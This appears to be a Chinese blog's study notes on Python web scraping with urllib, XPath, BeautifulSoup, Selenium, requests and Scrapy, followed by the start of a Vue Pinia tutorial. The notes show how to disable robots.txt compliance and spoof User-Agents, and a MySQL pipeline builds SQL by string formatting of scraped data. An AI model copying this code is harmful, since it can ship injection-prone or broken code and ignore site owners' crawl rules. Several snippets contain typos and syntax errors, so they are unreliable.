response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(response.status) print(response.getheaders())\npost发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({\u0026lsquo;hallo\u0026rsquo;:\u0026lsquo;python\u0026rsquo;}),encoding=\u0026lsquo;utf-8\u0026rsquo;) response = urllib.request.urlopen(\u0026lsquo;http://httpbin.org/post'.data = data) print(response.read())\ntimeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/',timeout=1)\n这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except\nimport urllib.parse\rimport urllib.request\rurl = \u0026quot;https://xiaochenabc123.test.com/\u0026quot;\rheaders = {\r'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'}\rdata = urllib.request.Request(url=url, headers=headers)\rhi = hallo = urllib.request.urlopen(data)\r#hallo = urllib.request.urlopen(data).read().decode('utf-8')\r#print(hallo)\r# 6个方法\r#abc = hi.read(6) #按字节返回\r#xyz = hi.readline() # 读取一行\r#a = hi.readlines() # 一行一行的读取\r#b = hi.getcode() # 状态码\r#c = hi.geturl() # 获取url地址\r#d = hi.getheaders() # 获取状态信息\r# 下载到本地\r#urllib.request.urlretrieve(url,data.html)\r#url_img = \u0026quot;https://xiaochenabc123.test.com/1.jpg\u0026quot;\r#urllib.request.urlretrieve(url_img,abc.jpg)\r#url_mp4 = \u0026quot;https://xiaochenabc123.test.com/1.mp4\u0026quot;\r#urllib.request.urlretrieve(url_img,xyz.mp4)\r# auote() 转Unicode编码\r#name = urllib.parse.quote(\u0026quot;哈哈哈\u0026quot;)\r#urlencode(),get拼接\rgg = {\r\u0026quot;name\u0026quot;: \u0026quot;小陈\u0026quot;,\r\u0026quot;data\u0026quot;: \u0026quot;hallo word\u0026quot;\r}\rhaha = urllib.parse.urlencode(gg)\r#print(haha)\r# post请求\rssr = {\rdata: \u0026quot;abc\u0026quot;\r}\rabcxyz = urllib.parse.urlencode(ssr).encode('utf‐8')\rnogo = urllib.request.Request(url=url, headers=headers, data=abcxyz)\ryesgo = urllib.request.urlopen(nogo)\r#print(yesgo.read().decode('utf‐8'))\r#ajax请求（get和post）\r#cookie（扩展headers）\rheaders = {\r'Cookie': 'xxxx'\r}\r#HTTPHandler()\r#request = urllib.request.Request(url=url, headers=headers) #handler = urllib.request.HTTPHandler()\r#opener = urllib.request.build_opener(handler) #response = opener.open(request) #print(response.read().decode('utf‐8'))\r#代理服务器\rurls = \u0026quot;http://baidu.com\u0026quot;\rrequest = urllib.request.Request(url=urls, headers=headers)\rproxies = {'https': '14.115.106.223:808'}\rhandler = urllib.request.ProxyHandler(proxies=proxies) opener = urllib.request.build_opener(handler) response = opener.open(request) content = response.read().decode('utf‐8')\r#print(content)\rfrom lxml import etree\rimport urllib.request\r# 解析本地文件\r#html_data = etree.parse('./hallo.html', etree.HTMLParser())\r# 解析服务器响应文件\r# html = etree.HTML(response.read().decode('utf‐8')\r#result = etree.tostring(html_data)\r# print(result.decode('utf-8'))\r# /为查找子节点，//为查找全部子孙节点（不考虑层级）\r# list = html_data.xpath(\u0026quot;//ul/li\u0026quot;)\r# 查找全部带id\r# list = html_data.xpath(\u0026quot;//ul/li[@id]/text()\u0026quot;)\r# 查找指定id\r# list = html_data.xpath('//ul/li[@id=\u0026quot;a\u0026quot;]/text()')\r# 查找指定class的\r# list = html_data.xpath('//ul/li[@class=\u0026quot;a\u0026quot;]/text()')\r# 模糊查询（包含）\r# list = html_data.xpath('//ul/li[contains(@id, \u0026quot;ab\u0026quot;)]/text()')\r# 查找以什么开头的\r# list = html_data.xpath('//li[starts-with(@id, \u0026quot;a\u0026quot;)]/text()')\r# 查找以什么结尾的\r# list = html_data.xpath('//li[ends-with(@id, \u0026quot;a\u0026quot;)]/text()')\r# 查找内容\r# list = html_data.xpath('//a[text()=\u0026quot;小陈的辣鸡屋\u0026quot;]/text()')\r# 多属性匹配(和)\r# list = html_data.xpath('//li[contains(@id, \u0026quot;a\u0026quot;) and @href=\u0026quot;https://xiaochenabc123.test.com\u0026quot;]/a/text()')\r# 或者\r# list = html_data.xpath('//li[contains(@id, \u0026quot;a\u0026quot;) | @href=\u0026quot;https://xiaochenabc123.test.com\u0026quot;]/a/text()')\r# 查找指定顺序的\r# list = html_data.xpath('//a[1]/text()') #获取第一个，可以指定第几个\r# list = html_data.xpath('//a[last()]/text()') #获取最后一个\r# list = html_data.xpath('//a[position()\u0026lt;6]/text()') # 获取前5个\r# list = html_data.xpath('//a[last()-3]/text()') #获取倒数第4个\r# print(list)\r#实例：获取logo和logo的url\r#url = \u0026quot;https://xiaochenabc123.test.com\u0026quot;\r#headers = {\r# 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'\r#}\r#request = urllib.request.Request(url=url, headers=headers)\r#response = urllib.request.urlopen(request)\r#content = response.read().decode(\u0026quot;utf-8\u0026quot;)\r#hallo = etree.HTML(content)\r#data = hallo.xpath('//h3[@id=\u0026quot;logo\u0026quot;]/a/@href')[0]\r#data1 = hallo.xpath('//h3[@id=\u0026quot;logo\u0026quot;]/a/text()')[0]\r#print(data,data1)\r#获取文章的标题\r#headers = {\r# 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'\r#}\r#\r#if __name__ == \u0026quot;__main__\u0026quot;:\r# page1 = int(input(\u0026quot;开始\u0026quot;))\r# page2 = int(input(\u0026quot;结束\u0026quot;))\r#\r# for page in range(page1, page2 + 1):\r# urldata = \u0026quot;https://xiaochenabc123.test.com/archives/\u0026quot; + str(page) + \u0026quot;.html\u0026quot;\r# #print(urldata)\r# request = urllib.request.Request(url=urldata, headers=headers)\r# response = urllib.request.urlopen(request)\r# if (response.getcode() == 200):\r# content = response.read().decode(\u0026quot;utf-8\u0026quot;)\r# hallo = etree.HTML(content)\r# data = hallo.xpath('//h3[@class=\u0026quot;post-title\u0026quot;]/a/text()')[0]\r# print(data)\r# elif(response.getcode() == 404):\r# continue\r#爬取网站的全部a链接，并且返回到数组中\r#if __name__ == \u0026quot;__main__\u0026quot;:\r# url = input(\u0026quot;请输入要爬取的url\u0026quot;)\r# abc = int(input(\u0026quot;是否启动只搜索当前域名的url,请回复0或者1\u0026quot;))\r# headers = {\r# 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'\r# }\r# request = urllib.request.Request(url=url, headers=headers)\r# response = urllib.request.urlopen(request)\r# content = response.read().decode(\u0026quot;utf-8\u0026quot;)\r# hallo = etree.HTML(content)\r# data = hallo.xpath('//a/@href')\r# a = 1\r# b = 1\r# c = \u0026quot;https\u0026quot;\r# d = \u0026quot;http\u0026quot;\r# if (abc == 1):\r# while a \u0026lt; len(data):\r# if (c or d in data[a]):\r# if (url in data[a]):\r# urldata = data[a]\r# print(urldata)\r# a += 1\r# else:\r# while b \u0026lt; len(data):\r# if (c or d in data[a]):\r# urldata = data[b]\r# print(urldata)\r# b += 1\r练习（json解析bing官方提供的api，获取精密壁纸）\nimport jsonpath\rimport json\rimport urllib.request\r# pip install jsonpath\rheaders = {\r'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'\r}\rabc = 0\rwhile abc == 0 :\ra = int(input(\u0026quot;请输入要下载的张数（bing最多只能下载8张）\u0026quot;))\raa = str(a)\rif(a\u0026lt;=8):\rurlapi = \u0026quot;https://cn.bing.com/HPImageArchive.aspx?format=js\u0026amp;idx=0\u0026amp;n=\u0026quot;+aa+\u0026quot;\u0026amp;mkt=zh-CN\u0026quot;\rrequest = urllib.request.Request(url=urlapi, headers=headers)\rresp = urllib.request.urlopen(request)\rcontent = resp.read().decode(\u0026quot;utf-8\u0026quot;)\rwith open(\u0026quot;data.json\u0026quot;, \u0026quot;w\u0026quot;, encoding=\u0026quot;utf-8\u0026quot;) as fp:\rfp.write(content)\robj = json.load(open(\u0026quot;data.json\u0026quot;, \u0026quot;r\u0026quot;, encoding=\u0026quot;utf-8\u0026quot;))\rhallo = jsonpath.jsonpath(obj, \u0026quot;$..url\u0026quot;)\rimg = jsonpath.jsonpath(obj, \u0026quot;$..enddate\u0026quot;)\rc = 0\rb = 0\rwhile c \u0026lt; len(hallo):\rhi = \u0026quot;https://cn.bing.com\u0026quot;\rdata = hi + hallo[c]\rprint(data)\rc+=1\rwhile b \u0026lt; len(img):\rhaha = img[b] + \u0026quot;.jpg\u0026quot;\rprint(haha)\rurllib.request.urlretrieve(data, filename=haha)\rb+=1\rbreak\rprint(\u0026quot;下载完成！！！\u0026quot;)\rabc = 1\relse:\rprint(\u0026quot;您输入的张数超过8张，bing官方api只能下载8张，请重新输入\u0026quot;)\rBeautiful Soup解析库，和lxml一样，可以从html或者xml中解析数据和提取数据，Beautiful Soup会自动将输入数据转换为unicode编码，输出数据转换为utf-8编码。不需要考虑编码问题。除非文档没有说明编码\n目前使用的是Beautiful Soup 4，简称bs4，Beautiful Soup3已停止维护\n安装\npip install beautifulsoup4\n注意：Beautiful Soup支持第三方解析器，如果不使用第三方解析器的话，将使用Python标准库中的html解析器\nBeautifulSoup(html, html.parser) # 内置标准库\rBeautifulSoup(html, lxml) # lxml库，需要下载lxml库\rBeautifulSoup(html, xml) # lxml的xml解析，需要下载lxml库\rBeautifulSoup(html, html5lib) # html5lib，需要下载html5lib库 pip install html5lib\r第一个例子\nfrom bs4 import BeautifulSoup\r# data = BeautifulSoup(open(\u0026quot;haha.html\u0026quot;),encoding=\u0026quot;utf-8\u0026quot;, \u0026quot;lxml\u0026quot;)\rdata = BeautifulSoup(open(\u0026quot;haha.html\u0026quot;))\rprint(data.prettify())\rbs会将html文档解析为树状结构，该树状结构的节点是Python对象，而这些对象可以分为4种：\nTag：标签，通过tag获取指定标签内容，print(data.div)，可以通过data.标签名的方式获取标签的内容（注意：输出第一个符合条件的标签）\n检查对象的类型：print (type(data.div))，可以看到输出结果为\u0026lt;class \u0026lsquo;bs4.element.Tag\u0026rsquo;\u0026gt;，说明该对象为tag\ntag有两个属性，分别为name和attrs\nprint (data.name)\rprint (data.div.name)\r可以看到输出结果为[document]和div，data的name为[document]，而标签输出为标签本身的名字\nprint (data.div.attrs)\r可以看到输出结果是{\u0026lsquo;class\u0026rsquo;: [\u0026lsquo;xxx\u0026rsquo;]}的键值对，可以通过data.div[\u0026ldquo;xxx\u0026rdquo;]方式获取属性值，也可以修改属性值（data.div[\u0026ldquo;class\u0026rdquo;]= \u0026ldquo;nav\u0026rdquo;），删除属性（del data.div[\u0026ldquo;class\u0026rdquo;]）\nNavigableString：标签内部的文本（.string），print (data.p.string)，判断类型，print (type(data.p.string))，输出结果为\u0026lt;class \u0026lsquo;bs4.element.NavigableString\u0026rsquo;\u0026gt;\nBeautifulSoup：文档的全部内容，也就是data本身，print (type(data))，\u0026lt;class \u0026lsquo;bs4.BeautifulSoup\u0026rsquo;\u0026gt;\nComment：特殊一点的NavigableString类型，可以输出注释的内容（不带注释符号），通过类型判断print (type(data.span.string))，可以看到输出\u0026lt;class \u0026lsquo;bs4.element.Comment\u0026rsquo;\u0026gt;\n查找\nprint(data.div.content) # 查找div的全部子节点，并且以列表的方式输出，可以使用索引来指定获取第几个节点\rprint(data.div.children) #一样是查找div的全部子节点，不过是list生成器，需要手动遍历获取\rprint(data.select(\u0026quot;span\u0026quot;)) #查找标签，也可以通过类名或者id名查找，支持组合查找（和css方式一样）\rprint(data.find(\u0026quot;div\u0026quot;))\rprint(data.find(\u0026quot;div\u0026quot;,class_=\u0026quot;nav\u0026quot;))\rselenium是一个web应用自动化测试工具，selenium可以直接运行在目前主流浏览器驱动（本身没有浏览器功能，需要搭配第三方浏览器，支持无界面浏览器），模拟用户操作\n因为其自动化和可以直接运行在浏览器的原因，可以用于爬虫\nchromedriver：https://npm.taobao.org/mirrors/chromedriver（淘宝镜像地址，下载的驱动版本要和浏览器内核的版本一样） edge: https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/ （webdriver.Edge()） 火狐：https://github.com/mozilla/geckodriver/releases （webdriver.Firefox()）\n安装\npip install selenium\n导入驱动\nfrom selenium import webdriver\rpath = \u0026quot;浏览器驱动路径\u0026quot;\rdriver = webdriver.Chrome(path)\rurl = \u0026quot;https://xiaochenabc123.test.com\u0026quot;\rdriver.get(url)\rdata = driver.page_source\rprint(data)\r元素定位（模拟鼠标和键盘操作元素的点击或者输入等等，在操作元素之前需要获取到元素的位置）\n注意：element是返回单个对象，elements可以返回多个对象\n根据id查找元素\ndata = driver.find_element_by_id(\u0026ldquo;app\u0026rdquo;)\n根据name属性值查找 data = driver.find_element_by_name(\u0026quot;\u0026quot;)\n根据xpath查找 data = driver.find_elements_by_xpath()\n根据标签名查找 data = driver.find_elements_by_tag_name()\n使用bs4的方式查找 data = driver.find_element_by_css_selector(\u0026quot;#app\u0026quot;)\n根据连接的文本查找 data = driver.find_element_by_link_text()\n根据连接的文本查找（模糊） data = driver.find_element_by_partial_link_text()\n根据class名查找 data = driver.find_element_by_class_name()\n交互和数据获取\n数据获取\n获取属性值\nprint(data.get_attribute(\u0026ldquo;href\u0026rdquo;))\n获取标签名\nprint(data.tag_name)\n获取元素文本\nprint(data.text)\n交互\n指定浏览器大小\ndriver.set_window_size(900, 1000)\n浏览器的前进和后退，以及刷新\ndriver.forward() driver.back() driver.refresh()\ninput输入框操作\ndata.click() #单击元素 data.send_keys(\u0026ldquo;hallo\u0026rdquo;) #输入 data.clear() #清除内容\n执行指定js脚本\ndriver.execute_script(js)\n例如：\nimport time\rfrom selenium import webdriver\rpath = \u0026quot;msedgedriver.exe\u0026quot;\rdriver = webdriver.Edge(path)\rurl = \u0026quot;https://www.baidu.com/\u0026quot;\rdriver.get(url)\rdata = driver.page_source\rdatas = driver.find_element_by_id(\u0026quot;kw\u0026quot;)\rdatas.send_keys(\u0026quot;小陈的辣鸡屋\u0026quot;)\ra = driver.find_element_by_id(\u0026quot;su\u0026quot;)\ra.click()\rtime.sleep(2)\r#bottom = 'document.documentElement.scrollTop=10000'\r#driver.execute_script(bottom)\rb = driver.find_element_by_link_text(\u0026quot;小陈的辣鸡屋\u0026quot;)\rb.click()\rPhantomjs是一个无界面浏览器，因为其不需要进行gui渲染，效率比较高，但是已经停止更新，这里只了解一下，推荐使用Headless Chrome\nhttps://phantomjs.org/\nphantomjs操作方式一样\ndriver = webdriver.PhantomJS(path)\r因为没有界面，访问网页是没有界面的，需要通过快照获取，driver.save_screenshot(\u0026ldquo;xiaochenabc123.test.com.jpg\u0026rdquo;)\nHeadless Chrome是基于Chrome 59版本以及以上版本的无界面模式（mac和Linux最低要求59版本，而win需要60版本）\nfrom selenium import webdriver\rfrom selenium.webdriver.chrome.options import Options\rchrome_options = Options()\rchrome_options.add_argument('--headless') # 无界面模式启动\rchrome_options.add_argument('--disable-gpu')\rpath = \u0026quot;Chrome.exe\u0026quot; # Chrome浏览器的路径\rchrome_options.binary_location = path\rdriver = webdriver.Chrome(chrome_options=chrome_options) # 实例化\rurl = \u0026quot;https://xiaochenabc123.test.com\u0026quot;\rdriver.get(\u0026quot;url\u0026quot;)\rdriver.save_screenshot(\u0026quot;xiaochenabc123.test.com.jpg\u0026quot;)\r具体操作方法和selenium一样\nrequests库是基于Python开发并且封装的http库，HTTP for Humans\n安装\npip install requests\n使用方式很简单\nimport requests\rurl = \u0026quot;https://xiaochenabc123.test.com\u0026quot;\rresponse = requests.get(url)\rresponse.status_code # 200 返回状态码\rprint(type(response)) # 返回类型\rresponse.encoding = \u0026quot;utf-8\u0026quot; # 响应的编码\rprint(response.text) # 返回源代码\rprint(response.url) # 返回请求的url\rprint(response.content) # 返回二进制数据\rprint(response.headers) # 返回响应头\rrequests在请求json的时候还可以直接获取\nget请求\nget请求的参数通过params属性传递，不需要考虑url的编码问题，不需要考虑请求对象，例如：\ndata = {\r'wd': 'python'\r}\rheaders = {\r'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'\r}\rresponse = requests.get('https://baidu.com/s?', params=data, headers=headers)\rprint (response.text)\rpost请求\npost请求不需要考虑编解码，不需要考虑请求对象\ndata = {\r'url': 'xiaochenabc123.test.com',\r'name': 'root'\r}\rurl = \u0026quot;https://httpbin.org/post\u0026quot;\rresponse = requests.post(url=url, data=data, headers=headers)\rimport json\robj = json.loads(response.text,encoding=\u0026quot;utf-8\u0026quot;)\rprint (obj)\r注意：默认使用application/x-www-form-urlencoded进行编码，如果想传递json，需要使用requests.post()的json参数，上传文件用files参数\n另外还支持put()和delete()\n传入cookie需要cookies参数，支持设置请求超时（timeout参数，单位为秒）\n代理用proxies参数，指向一个字典（代理池）\nscrapy是基于Python开发的爬取数据，提取数据的框架，可应用在数据挖掘，数据存储\n安装\npip install scrapy\nscrapy架构组件分为Scrapy Engine（引擎），Scheduler（调度器），Downloader（下载器），Spider（爬虫），Item Pipeline（数据管道），Downloader middlewares（下载中间件），Spider middlewares（Spider中间件）\nScrapy Engine：负责控制数据流（Data Flow）在组件中的流动，例如通信，数据传递，在某些情况下还触发相对应的事件\nScheduler：负责接收引擎发送的request请求并且将其存储在调度器中，当引擎需要时提供给引擎，调度器会自动去重url（也可以不去重）\nDownloader：负责下载引擎发送的全部request请求的响应数据，将获取到数据提供给Spider\nSpider：负责处理全部响应数据，并且进行分析提取数据，获取需要的数据，并且将需要进行额外跟进的url传递给引擎，以便重新进入调度器，一般情况一个Spider只负责一个或者多个特定的url\nItem Pipeline：负责处理Spider提取出来的数据，经过分析，过滤，存储等步骤，最后存储在本地或者数据库中\nDownloader middlewares：其是引擎和Downloader之间的钩子，自定义扩展下载器的功能，例如更换ua，ip等等\nSpider middlewares：Spider和引擎之间的钩子，用来处理Spider的输入响应和输出数据，自定义扩展Spider的功能\n具体数据流线路：引擎请求一个url，并且获取到处理这个url的Spider，并且向该Spider请求要第一个爬取的url，引擎获取到要爬取的url，将其传递给调度器，引擎再向调度器请求要下一个爬取的URL，调度器返回url给引擎，引擎通过下载中间件传递给下载器，由下载器下载数据，当数据下载完毕（不管是否成功），下载器将响应数据通过下载中间件返回给引擎，引擎得到数据并且通过Spider中间件传递给Spider处理数据，Spider处理数据并且将处理完毕的数据以及需要跟进的url提供给引擎，引擎再将处理完毕的数据传递给Item Pipeline进行下一步处理，并且将需要跟进的url传递给调度器，一直重复循环直到调度器中没有request\n新建项目：\nscrapy startproject scrapyDemo\n这个项目中包含了一些文件，分别是scrapy.cfg（配置文件），scrapyDemo/（项目的Python模块，将在这里编写程序），items.py（item文件，目标文件），pipelines.py（管道文件，用来处理数据，默认为300优先级，值越小优先级越高），settings.py（项目的设置文件，例如robots协议是否遵守，定义ua等等），spiders/（spider爬虫程序存放的目录）\nspider爬虫程序（/spiders目录下）\n创建一个爬虫必须继承scrapy.Spider类，并且定义三个参数（必须唯一，用来区别其他爬虫），start_urls（爬虫程序执行时要爬取的url），parse()在被调用时，下载完成后得到的响应将作为唯一参数传递给该方法，这个方法负责解析返回回来的数据，以及提取数据和后续要进行下一步处理的响应数据\n快速创建一个基础scrapy爬虫程序\nscrapy genspider cjlio xiaochenabc123.test.com\nimport scrapy\rclass CjlioSpider(scrapy.Spider):\rname = 'cjlio'\rallowed_domains = ['xiaochenabc123.test.com'] # 过滤爬取的URL，不在此范围内的域名会被过滤掉\rstart_urls = ['http://xiaochenabc123.test.com/']\rdef parse(self, response):\rcontent = response.text\rprint(content)\rresponse属性：.text（返回响应的字符串），.body（返回二进制数据），.xpath()（使用xpath方法来解析，返回的数据为列表），.extract()获取seletor对象的data属性值，.extract_first()获取seletor列表的第一个的数据\n还有.url（url地址），.status（状态码），.encoding（响应正文的编码），.request（生成request对象），.css()（用css选择器方式解析数据），.urljoin()（生成绝对url）\n执行爬虫程序（cjlio为爬虫的name）\nscrapy crawl cjlio\n将获取的数据存储为json文件\nscrapy crawl cjlio -o cjlio.json\n注意：因为scrapy默认使用ascii存储json，需要改为utf-8\n在settings.py中添加FEED_EXPORT_ENCODING = \u0026lsquo;utf-8\u0026rsquo;解决\n关闭robots协议（不遵守robots协议，注释掉或者改为False，默认遵守robots协议）\nROBOTSTXT_OBEY = False\rscrapy shell是一个交互终端，在没有启动spider的情况下尝试以及测试程序的xpath和css表达式\nscrapy shell可以借助ipython终端\npip install ipython\n注意：如果安装ipython，scrapy将使用ipython代替Python标准终端，ipython提供了自动补全，高亮等等功能\n调试例子（不需要进入Python环境，可以直接在终端中调试）\nscrapy shell xiaochenabc123.test.com\nresponse.text\nresponse.xpath()\nitems.py定义数据结构\nimport scrapy\rclass ScrapydemoItem(scrapy.Item):\rname = scrapy.Field()\rimg = scrapy.Field()\rcjlio.py（爬虫程序）\nimport scrapy\rclass CjlioSpider(scrapy.Spider):\rname = 'cjlio'\rallowed_domains = ['xiaochenabc123.test.com']\rstart_urls = ['http://xiaochenabc123.test.com/']\rdef parse(self, response):\rcontent = response.text\rname = content.xpath(\u0026quot;xpath匹配\u0026quot;).extract_first()\rimg = content.xpath(\u0026quot;xpath匹配\u0026quot;).extract_first()\rprint(name, img)\r管道封装\ncjlio.py（爬虫程序）\nfrom scrapyDemo.items import ScrapydemoItem\r...\rdata = scrapyDemoItems(name=name,img=img)\ryield data # 每获取一次data数据，就是返回一次数据给管道\r# yield的作用类似于生成器（generator）\r注意：如果想使用管道，需要在settings.py中开启\n找到\nITEM_PIPELINES = {\r'scrapyDemo.pipelines.ScrapydemoPipeline': 300,\r}\r将注释去掉，300指优先级（优先级1到1000），值越小优先级越高\npipelines.py（管道文件）中的item就是爬虫程序返回的data数据\n启动爬虫之前（open_spider(self, spider)）\n启动爬虫之后（close_spider(self, spider)）\n开启多管道\n在 ITEM_PIPELINES 字段中添加新管道（settings.py）\n然后在pipelines.py定义新管道的类\n查询当前项目中的爬虫任务：scrapy list\n自定义UA\nsettings.py文件中USER_AGENT字段或者DEFAULT_REQUEST_HEADERS都可以\n项目中配置headers\nspiders爬虫程序\nheaders = {\r'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'\r}\rurl = \u0026quot;https://xiaochenabc123.test.com\u0026quot;\ryield scrapy.Request(\rurl=url,\rheaders=headers\r)\r数据入库\n安装pymysql\npip install pymysql\nsettings.py\n（pymysql） DB_HOST = \u0026ldquo;127.0.0.1\u0026rdquo; DB_RORT = 3306 DB_USER = \u0026ldquo;root\u0026rdquo; DB_PASSWORD = \u0026ldquo;123abc\u0026rdquo; DB_NAME = \u0026ldquo;dataMax\u0026rdquo; DB_CHARSET = \u0026ldquo;utf8\u0026rdquo;\n开一条新管道，专门处理数据入数据库\npipeline.py\nfrom scrapy.utils.project import get_project_settings\rimport pymysql\r#读取settings文件\rclass MysqlMax:\rdef open_spider(self, spider):\rsettings = get_project_settings()\rself.host = settings['DB_HOST']\rself.port = settings['DB_PORT']\rself.user = settings['DB_USER']\rself.password = settings['DB_PASSWORD']\rself.name = settings['DB_NAME']\rself.charset = settings['DB_CHARSET']\rself.connect()\rdef connect(self):\rself.conn = pymysql.connect(\rhost = self.host,\rport = self.port,\ruser = self.user,\rpassword = self.password,\rname = self.name,\rcharset = self.charset\r)\rself.cursor = self.conn.cursor()\rdef process_item(self,item,spider):\rsql = 'insert into book(name,src) values(\u0026quot;{}\u0026quot;,\u0026quot;{}\u0026quot;).format(item['name'],item['img'])\rself.cursor.execute(sql)\rself.conn.commit()\r# 执行sql语句，并且提交\rreturn item\rdef close_spider(self, spider):\rself.cursor.close()\rself.conn.close()\r链接跟进和链接提取器\n爬虫程序文件\nrules = (\rRule(LinkExtractor(allow = \u0026quot;\u0026quot;),\rcallback = \u0026quot;parse_item\u0026quot;, follow = True),\r)\rallow为正则表达式，当链接满足正则表达式提取，为空则全部匹配（链接提取器）\ncallback为指定解析数据的规则\nfollow一般情况默认为False，指定是否从response提取的链接进行跟进，当callback为none时，follow为True\n还有dent =()，用来过滤符合正则表达式的链接，当符合时不提取\nallow_domains：允许的域名，deny_domains：不允许的域名\nrestrict_xpaths：提取符合xpath的链接，restrict_css：提取符合选择器的链接\n注意：follow当为True会一直提取符合规则的链接，直到全部链接提取完毕\n日志以及日志等级\n日志等级\nCRITICAL：严重错误 ERROR：一般错误 WARNING：警告 INFO：一般信息 DEBUG：调试信息（默认，只有出现DEBUG以及以上等级的日志才会打印输出）\nsettings.py文件可以设置哪些日志显示，哪些不显示\nLOG_FILE：将信息存储到文件中，不显示在输出界面，后缀为.log\nLOG_LEVEL：指定日志显示的等级\n例如： LOG_LEVEL = \u0026ldquo;WARNING\u0026rdquo; LOG_FILE= \u0026ldquo;demo.log\u0026rdquo;\n","permalink":"https://xiaochenabc123.github.io/posts/125/","summary":"urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy\npython库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块\nurllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能\n模拟浏览器发送get请求，就需要使用request对象，在该对象添加http头 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(response.read().decode(\u0026lsquo;utf-8\u0026rsquo;))\n使用type()方法 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(type(response))\nHTTPResposne类型对象\n通过status属性获取返回的状态码 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(response.status) print(response.getheaders())\npost发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({\u0026lsquo;hallo\u0026rsquo;:\u0026lsquo;python\u0026rsquo;}),encoding=\u0026lsquo;utf-8\u0026rsquo;) response = urllib.request.urlopen(\u0026lsquo;http://httpbin.org/post'.data = data) print(response.read())\ntimeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/',timeout=1)\n这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except\nimport urllib.parse\rimport urllib.request\rurl = \u0026quot;https://xiaochenabc123.test.com/\u0026quot;\rheaders = {\r'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.","title":"python爬虫学习笔记"},{"content":"Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3\nPinia作者也是vuex核心之一\n安装pinia\nnpm install pinia@next\n或者\nyarn add pinia@next\n导入pinia并且挂载为vue插件(在Vite脚手架下)\nsrc/main.js\nimport { createApp } from 'vue'\rimport App from './App.vue'\rconst app = createApp(App)\rimport { createPinia } from 'pinia'\rapp.use(createPinia())\rapp.mount('#app')\rsrc/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）\nimport { defineStore } from 'pinia'\rexport const useDataStore = defineStore('data', {\rstate: () =\u0026gt; {\rreturn { count: 666 }\r},\r//state: () =\u0026gt; {\r//name: chen\r//},\rgetters:{ // getters计算属性\rdoubleCount(state){\rreturn state.count * 2\r}\rdoublePlusOne(){\r// 在getters中调用其他getters，只需要this访问一下就可以\r// return this.doubleCount + 123\r// 通过箭头函数参数，来动态计算\rreturn (a)=\u0026gt;{\rthis.doubleCount + a\r}\r}\r},\ractions: {\rincrement() {\rthis.count++\r}\r}\r})\rsrc/app.vue（在组件引入useDataStore，并且获取state状态）\nimport { useDataStore } from \u0026quot;./stores/main.js\u0026quot;\rconst store = useDataStore()\rconsole.log(store.count)\r...\r\u0026lt;template\u0026gt;\r\u0026lt;h2\u0026gt;{{ store }}\u0026lt;/h2\u0026gt;\r\u0026lt;h2\u0026gt;{{ store.count }}\u0026lt;/h2\u0026gt;\r\u0026lt;/template\u0026gt;\r使用storeToRefs函数解构状态（storeToRefs解构，可以响应式状态）\nsrc/app.vue\nimport { storeToRefs } from \u0026quot;pinia\u0026quot;\rimport { useDataStore } from \u0026quot;./stores/main.js\u0026quot;\rconst { count , doubleCount , doublePlusOne} = storeToRefs(useDataStore())\r...\r\u0026lt;template\u0026gt;\r\u0026lt;h2\u0026gt;{{ count }}\u0026lt;/h2\u0026gt;\r\u0026lt;h2\u0026gt;{{ doubleCount }}\u0026lt;/h2\u0026gt;\r\u0026lt;h2\u0026gt;{{ doublePlusOne(6) }}\u0026lt;/h2\u0026gt;\r\u0026lt;/template\u0026gt;\r调用其他state的getters（假如在其他地方定义了一个getters，想使用）\naddData(state){\r// 获取另一个通过defineStore创建state的实例\rconst store = useAddStore()\rreturn state.count + store.intData\r}\rActions操作state（同步异步都可以使用Actions）\nexport const useStore = defineStore('main', {\rstate: () =\u0026gt; ({\rcounter: 0,\r}),\ractions: {\rcountPlusOne() {\rthis.counter++\r},\rcountPlus(a) {\rthis.counter += 